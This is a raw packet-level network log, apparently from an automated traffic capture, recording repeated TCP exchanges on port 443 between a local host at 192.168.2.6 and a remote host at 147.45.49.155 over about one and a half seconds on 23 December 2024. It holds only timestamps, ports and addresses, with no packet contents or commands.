Dec 23, 2024 08:39:27.675379992 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.675415039 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.675431967 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.675458908 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.681025028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.681041956 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.681154966 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.681163073 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.681231022 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.686136007 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.686151981 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.686223984 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.686250925 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.686305046 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.691840887 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.691857100 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.692105055 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.692120075 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.692284107 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.697412968 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.697428942 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.697490931 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.697503090 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.697556973 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.703100920 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.703119040 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.703166962 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.703217983 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.703227043 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.703273058 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.708924055 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.708945036 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.709001064 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.709012032 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.709086895 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.709086895 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.779283047 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.779329062 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.779376030 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.779422045 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.779443026 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.779462099 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.867163897 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.867188931 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.867269993 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.867296934 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.867342949 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.872884989 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.872904062 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.872980118 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.872987986 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.873029947 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.877990007 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.878010035 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.878077984 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.878083944 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.878130913 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.883831978 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.883851051 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.883913994 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.883922100 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.883970022 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.889240026 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.889259100 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.889314890 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.889326096 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.889368057 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.895066023 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.895087004 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.895144939 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.895155907 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.895200968 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.900811911 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.900834084 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.900878906 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.900897026 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.900923014 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.900942087 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.971302986 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.971327066 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.971369982 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.971385002 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.971411943 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.971427917 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.059608936 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.059633017 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.059698105 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.059719086 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.059751987 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.059767962 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.064683914 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.064703941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.064766884 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.064779997 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.064841032 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.070540905 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.070558071 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.070624113 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.070636988 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.070677996 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.076222897 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.076241016 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.076292992 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.076304913 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.076338053 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.076354980 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.081742048 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.081758976 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.081818104 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.081830978 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.081871033 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.087454081 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.087476015 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.087529898 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.087542057 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.087568998 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.087589025 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.092856884 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.092874050 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.092931032 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.092941999 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.092992067 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.163491011 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.163521051 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.163573980 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.163600922 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.163625956 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.163642883 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.251960993 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.251986980 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.252038002 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.252063990 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.252082109 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.252104044 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.257652998 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.257668972 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.257730007 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.257745028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.257822037 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.262758017 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.262774944 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.262835026 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.262846947 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.262887001 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.268579006 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.268595934 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.268650055 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.268662930 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.268702030 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.274005890 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.274023056 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.274077892 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.274090052 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.274122953 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.274139881 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.280045033 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.280061960 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.280112028 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.280127048 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.280153990 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.280172110 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.285629034 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.285645962 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.285698891 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.285712004 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.285758018 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.355463028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.355485916 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.355561018 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.355578899 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.355619907 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.444216967 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.444243908 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.444307089 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.444338083 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.444360018 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.444386959 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.450134039 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.450153112 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.450210094 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.450226068 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.450252056 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.450274944 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.456043959 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.456062078 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.456130981 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.456146955 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.456199884 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.461128950 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.461143017 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.461205006 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.461220980 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.461263895 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.466053963 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.466073036 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.466140032 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.466154099 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.466209888 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.473011971 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.473028898 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.473092079 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.473107100 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.473157883 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.478698969 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.478715897 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.478761911 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.478775978 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.478805065 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.478826046 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.548226118 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.548254967 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.548320055 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.548341990 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.548372984 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.548391104 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.638511896 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.638550043 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.638619900 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.638659954 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.638679028 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.638708115 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.642884016 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.642901897 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.643038988 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.643044949 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.643085957 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.643140078 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.646985054 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.647000074 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.647212982 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.647221088 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.647290945 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.652920961 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.652937889 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.653002024 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.653008938 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.653059006 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.653068066 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.658238888 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.658262014 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.662156105 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.662156105 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.662164927 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.664014101 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.664046049 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.664117098 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.664124012 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.664139032 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.664186954 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.670187950 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.670217037 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.670300961 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.670312881 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.670370102 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.825757027 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.825786114 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.825984001 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.825984001 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.826023102 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.826289892 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.828579903 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.828597069 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.828685045 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.828694105 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.828990936 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.834220886 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.834239006 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.834311008 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.834317923 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.834336042 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.834503889 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.839812040 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.839831114 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.839915037 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.839924097 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.840183020 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.845119953 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.845139980 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.845231056 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.845238924 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.845968008 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.851044893 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.851062059 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.851159096 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.851166010 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.851455927 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.857172966 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.857189894 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.857284069 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.857290983 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.857603073 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.862073898 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.862091064 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.862170935 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:28.862184048 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:28.862468004 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.015752077 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.015789986 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.015889883 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.015889883 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.015961885 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.016022921 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.020421028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.020441055 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.020504951 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.020520926 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.020602942 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.026304960 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.026324034 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.026384115 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.026391983 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.026407003 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.026459932 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.031440973 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.031459093 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.031513929 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.031522036 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.031579018 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.037223101 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.037240028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.037296057 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.037302971 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.037369967 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.042550087 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.042570114 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.042633057 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.042648077 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.042728901 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.048342943 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.048365116 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.048410892 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.048419952 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.048446894 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.048458099 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.054162025 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.054181099 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.054229021 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.054235935 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.054281950 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.208383083 CET	443	49734	147.45.49.155	192.168.2.6
